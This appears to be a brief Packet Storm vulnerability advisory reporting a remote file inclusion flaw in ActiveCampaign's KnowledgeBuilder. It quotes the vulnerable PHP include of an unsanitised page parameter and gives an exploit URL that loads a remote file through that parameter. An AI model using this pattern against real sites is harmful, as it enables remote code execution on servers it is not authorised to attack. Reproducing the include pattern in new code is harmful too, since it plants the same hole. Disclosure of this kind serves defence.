KnowledgeBuilder from ActiveCampaign Inc. is susceptible to a remote file inclusion flaw.
7a70517503b544dbdc87e341bc61d1201e86d5f63399caa8fcef9bb18c32415f
Remote File Inclusion
KnowledgeBase
Vendor: www.activecampaign.com/kb/
Well, inside the index.php file we can see:
if ($page == ""){
$page = "startup";
}
@include("$page.php");
?>
After I tested some sites with kb I got file inclusion:
http://www.site.com/kb/index.php?page=http://[file]
Dominus_Vis
[Infektion Group]
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed